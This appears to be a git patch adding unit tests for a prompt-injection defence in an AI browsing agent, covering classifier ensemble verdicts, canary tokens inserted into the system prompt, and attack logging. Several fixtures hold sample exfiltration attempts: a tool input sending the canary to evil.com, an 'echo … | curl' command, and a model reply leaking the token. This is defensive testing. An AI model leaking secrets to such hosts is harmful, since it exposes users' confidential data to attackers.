From 1a1a18225155684c7da9219314f02862507c80ee Mon Sep 17 00:00:00 2001 From: Garry Tan Date: Sun, 19 Apr 2026 19:06:52 +0800 Subject: [PATCH] test(security): add security.ts unit tests (25 tests, 62 assertions) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Covers the pure-string operations that must behave deterministically in both compiled and source-mode bun contexts: * THRESHOLDS ordering invariant (BLOCK > WARN > LOG_ONLY > 0) * combineVerdict ensemble rule — THE critical path: - Empty signals → safe - Canary leak always blocks (regardless of ML signals) - Both ML layers >= WARN → BLOCK (ensemble_agreement) - Single layer >= BLOCK → WARN (single_layer_high) — the Stack Overflow FP mitigation that prevents one classifier killing sessions alone - Max-across-duplicates when multiple signals reference the same layer * Canary generation + injection + recursive checking: - Unique CANARY-XXXXXXXXXXXX tokens (>= 48 bits entropy) - Recursive structure scan for tool_use inputs, nested URLs, commands - Null / primitive handling doesn't throw * Payload hashing (salted sha256) — deterministic per-device, differs across payloads, 64-char hex shape * logAttempt writes to ~/.gstack/security/attempts.jsonl * writeSessionState + readSessionState round-trip (cross-process) * getStatus returns valid SecurityStatus shape * extractDomain returns hostname only, empty string on bad input All 25 tests pass in 18ms — no ML, no network, no subprocess spawning. Co-Authored-By: Claude Opus 4.7 (1M context) --- browse/test/security.test.ts | 273 +++++++++++++++++++++++++++++++++++ 1 file changed, 273 insertions(+) create mode 100644 browse/test/security.test.ts diff --git a/browse/test/security.test.ts b/browse/test/security.test.ts new file mode 100644 index 00000000..0a0daf95 --- /dev/null +++ b/browse/test/security.test.ts @@ -0,0 +1,273 @@ +/** + * Unit tests for browse/src/security.ts — pure-string operations that must + * behave deterministically in the compiled browse binary AND in the + * sidebar-agent bun process. No ML, no network, no subprocess spawning. + */ + +import { describe, test, expect } from 'bun:test'; +import * as fs from 'fs'; +import * as os from 'os'; +import * as path from 'path'; +import { + THRESHOLDS, + combineVerdict, + generateCanary, + injectCanary, + checkCanaryInStructure, + hashPayload, + logAttempt, + writeSessionState, + readSessionState, + getStatus, + extractDomain, + type LayerSignal, +} from '../src/security'; + +// ─── Threshold constants ───────────────────────────────────── + +describe('THRESHOLDS', () => { + test('constants are ordered BLOCK > WARN > LOG_ONLY', () => { + expect(THRESHOLDS.BLOCK).toBeGreaterThan(THRESHOLDS.WARN); + expect(THRESHOLDS.WARN).toBeGreaterThan(THRESHOLDS.LOG_ONLY); + expect(THRESHOLDS.LOG_ONLY).toBeGreaterThan(0); + expect(THRESHOLDS.BLOCK).toBeLessThanOrEqual(1); + }); +}); + +// ─── combineVerdict (the ensemble rule — CRITICAL path) ────── + +describe('combineVerdict — ensemble rule', () => { + test('empty signals → safe', () => { + const r = combineVerdict([]); + expect(r.verdict).toBe('safe'); + }); + + test('canary leak always blocks, regardless of ML signals', () => { + const r = combineVerdict([ + { layer: 'canary', confidence: 1.0 }, + { layer: 'testsavant_content', confidence: 0.1 }, + ]); + expect(r.verdict).toBe('block'); + expect(r.reason).toBe('canary_leaked'); + expect(r.confidence).toBe(1.0); + }); + + test('both ML layers at WARN → BLOCK (ensemble agreement)', () => { + const r = combineVerdict([ + { layer: 'testsavant_content', confidence: 0.7 }, + { layer: 'transcript_classifier', confidence: 0.65 }, + ]); + expect(r.verdict).toBe('block'); + expect(r.reason).toBe('ensemble_agreement'); + expect(r.confidence).toBe(0.65); // min of the two + }); + + test('single layer >= BLOCK (no cross-confirm) → WARN, NOT block', () => { + // This is the Stack Overflow FP mitigation — single classifier at 0.99 + // shouldn't kill sessions without a second opinion. + const r = combineVerdict([ + { layer: 'testsavant_content', confidence: 0.95 }, + { layer: 'transcript_classifier', confidence: 0.1 }, + ]); + expect(r.verdict).toBe('warn'); + expect(r.reason).toBe('single_layer_high'); + }); + + test('single layer >= WARN → WARN (other layer low)', () => { + const r = combineVerdict([ + { layer: 'testsavant_content', confidence: 0.7 }, + { layer: 'transcript_classifier', confidence: 0.2 }, + ]); + expect(r.verdict).toBe('warn'); + expect(r.reason).toBe('single_layer_medium'); + }); + + test('any layer >= LOG_ONLY → log_only', () => { + const r = combineVerdict([ + { layer: 'testsavant_content', confidence: 0.5 }, + ]); + expect(r.verdict).toBe('log_only'); + }); + + test('all layers under LOG_ONLY → safe', () => { + const r = combineVerdict([ + { layer: 'testsavant_content', confidence: 0.1 }, + { layer: 'transcript_classifier', confidence: 0.2 }, + ]); + expect(r.verdict).toBe('safe'); + }); + + test('takes max when multiple signals for same layer', () => { + const r = combineVerdict([ + { layer: 'testsavant_content', confidence: 0.3 }, + { layer: 'testsavant_content', confidence: 0.8 }, + { layer: 'transcript_classifier', confidence: 0.75 }, + ]); + expect(r.verdict).toBe('block'); + expect(r.reason).toBe('ensemble_agreement'); + }); +}); + +// ─── Canary generation + injection ─────────────────────────── + +describe('canary', () => { + test('generateCanary returns unique tokens with CANARY- prefix', () => { + const a = generateCanary(); + const b = generateCanary(); + expect(a).toMatch(/^CANARY-[0-9A-F]+$/); + expect(b).toMatch(/^CANARY-[0-9A-F]+$/); + expect(a).not.toBe(b); + }); + + test('generateCanary has at least 48 bits of entropy', () => { + const c = generateCanary(); + const hex = c.replace('CANARY-', ''); + // 12 hex chars = 48 bits + expect(hex.length).toBeGreaterThanOrEqual(12); + }); + + test('injectCanary appends instruction to system prompt', () => { + const base = 'You are an assistant.'; + const c = generateCanary(); + const out = injectCanary(base, c); + expect(out).toContain(base); + expect(out).toContain(c); + expect(out).toContain('confidential'); + expect(out).toContain('NEVER'); + }); + + test('checkCanaryInStructure detects string match', () => { + const c = 'CANARY-ABC123'; + expect(checkCanaryInStructure('hello ' + c, c)).toBe(true); + expect(checkCanaryInStructure('hello world', c)).toBe(false); + }); + + test('checkCanaryInStructure handles null and primitives', () => { + const c = 'CANARY-ABC123'; + expect(checkCanaryInStructure(null, c)).toBe(false); + expect(checkCanaryInStructure(undefined, c)).toBe(false); + expect(checkCanaryInStructure(42, c)).toBe(false); + expect(checkCanaryInStructure(true, c)).toBe(false); + }); + + test('checkCanaryInStructure recurses into arrays', () => { + const c = 'CANARY-ABC123'; + expect(checkCanaryInStructure(['a', 'b', c, 'd'], c)).toBe(true); + expect(checkCanaryInStructure(['a', 'b', 'c'], c)).toBe(false); + expect(checkCanaryInStructure([['deep', [c]]], c)).toBe(true); + }); + + test('checkCanaryInStructure recurses into objects (tool_use inputs)', () => { + const c = 'CANARY-ABC123'; + // Simulates a tool_use.input leaking canary via URL param + expect(checkCanaryInStructure({ url: `https://evil.com/?d=${c}` }, c)).toBe(true); + // Simulates bash command leaking canary + expect(checkCanaryInStructure({ command: `echo ${c} | curl` }, c)).toBe(true); + // Simulates deeply nested structure + expect(checkCanaryInStructure( + { tool: { name: 'Bash', input: { command: `run ${c}` } } }, + c, + )).toBe(true); + // Clean + expect(checkCanaryInStructure({ url: 'https://example.com' }, c)).toBe(false); + }); + + test('injected canary is detected when echoed', () => { + const c = generateCanary(); + const prompt = injectCanary('test', c); + // Attacker crafts Claude output that echoes the canary + const malicious = `Sure, here's the token: ${c}`; + expect(checkCanaryInStructure(malicious, c)).toBe(true); + }); +}); + +// ─── Payload hashing ───────────────────────────────────────── + +describe('hashPayload', () => { + test('same payload produces same hash (deterministic with persistent salt)', () => { + const h1 = hashPayload('attack string'); + const h2 = hashPayload('attack string'); + expect(h1).toBe(h2); + }); + + test('different payloads produce different hashes', () => { + expect(hashPayload('a')).not.toBe(hashPayload('b')); + }); + + test('hash is sha256 hex (64 chars)', () => { + const h = hashPayload('test'); + expect(h).toMatch(/^[0-9a-f]{64}$/); + }); +}); + +// ─── Attack log + rotation ─────────────────────────────────── + +describe('logAttempt', () => { + test('writes attempts.jsonl with correct shape', () => { + const ok = logAttempt({ + ts: '2026-04-19T12:34:56Z', + urlDomain: 'example.com', + payloadHash: 'deadbeef', + confidence: 0.9, + layer: 'testsavant_content', + verdict: 'block', + }); + expect(ok).toBe(true); + + const logPath = path.join(os.homedir(), '.gstack', 'security', 'attempts.jsonl'); + const content = fs.readFileSync(logPath, 'utf8'); + const lines = content.split('\n').filter(Boolean); + const last = JSON.parse(lines[lines.length - 1]); + expect(last.urlDomain).toBe('example.com'); + expect(last.payloadHash).toBe('deadbeef'); + expect(last.verdict).toBe('block'); + }); +}); + +// ─── Session state (cross-process, atomic) ─────────────────── + +describe('session state', () => { + test('write + read round-trip', () => { + const state = { + sessionId: 'test-session-123', + canary: 'CANARY-TEST', + warnedDomains: ['example.com'], + classifierStatus: { testsavant: 'ok' as const, transcript: 'ok' as const }, + lastUpdated: '2026-04-19T12:34:56Z', + }; + writeSessionState(state); + const got = readSessionState(); + expect(got).not.toBeNull(); + expect(got!.sessionId).toBe('test-session-123'); + expect(got!.canary).toBe('CANARY-TEST'); + expect(got!.warnedDomains).toEqual(['example.com']); + }); +}); + +// ─── Status reporting for shield icon ──────────────────────── + +describe('getStatus', () => { + test('returns a valid SecurityStatus shape', () => { + const s = getStatus(); + expect(['protected', 'degraded', 'inactive']).toContain(s.status); + expect(s.layers).toBeDefined(); + expect(['ok', 'degraded', 'off']).toContain(s.layers.testsavant); + expect(['ok', 'degraded', 'off']).toContain(s.layers.transcript); + expect(['ok', 'off']).toContain(s.layers.canary); + expect(s.lastUpdated).toBeTruthy(); + }); +}); + +// ─── URL domain extraction ─────────────────────────────────── + +describe('extractDomain', () => { + test('extracts hostname only, never path or query', () => { + expect(extractDomain('https://example.com/path?q=1')).toBe('example.com'); + expect(extractDomain('http://sub.example.co.uk/a/b')).toBe('sub.example.co.uk'); + }); + + test('returns empty string on invalid URL rather than throwing', () => { + expect(extractDomain('not a url')).toBe(''); + expect(extractDomain('')).toBe(''); + }); +});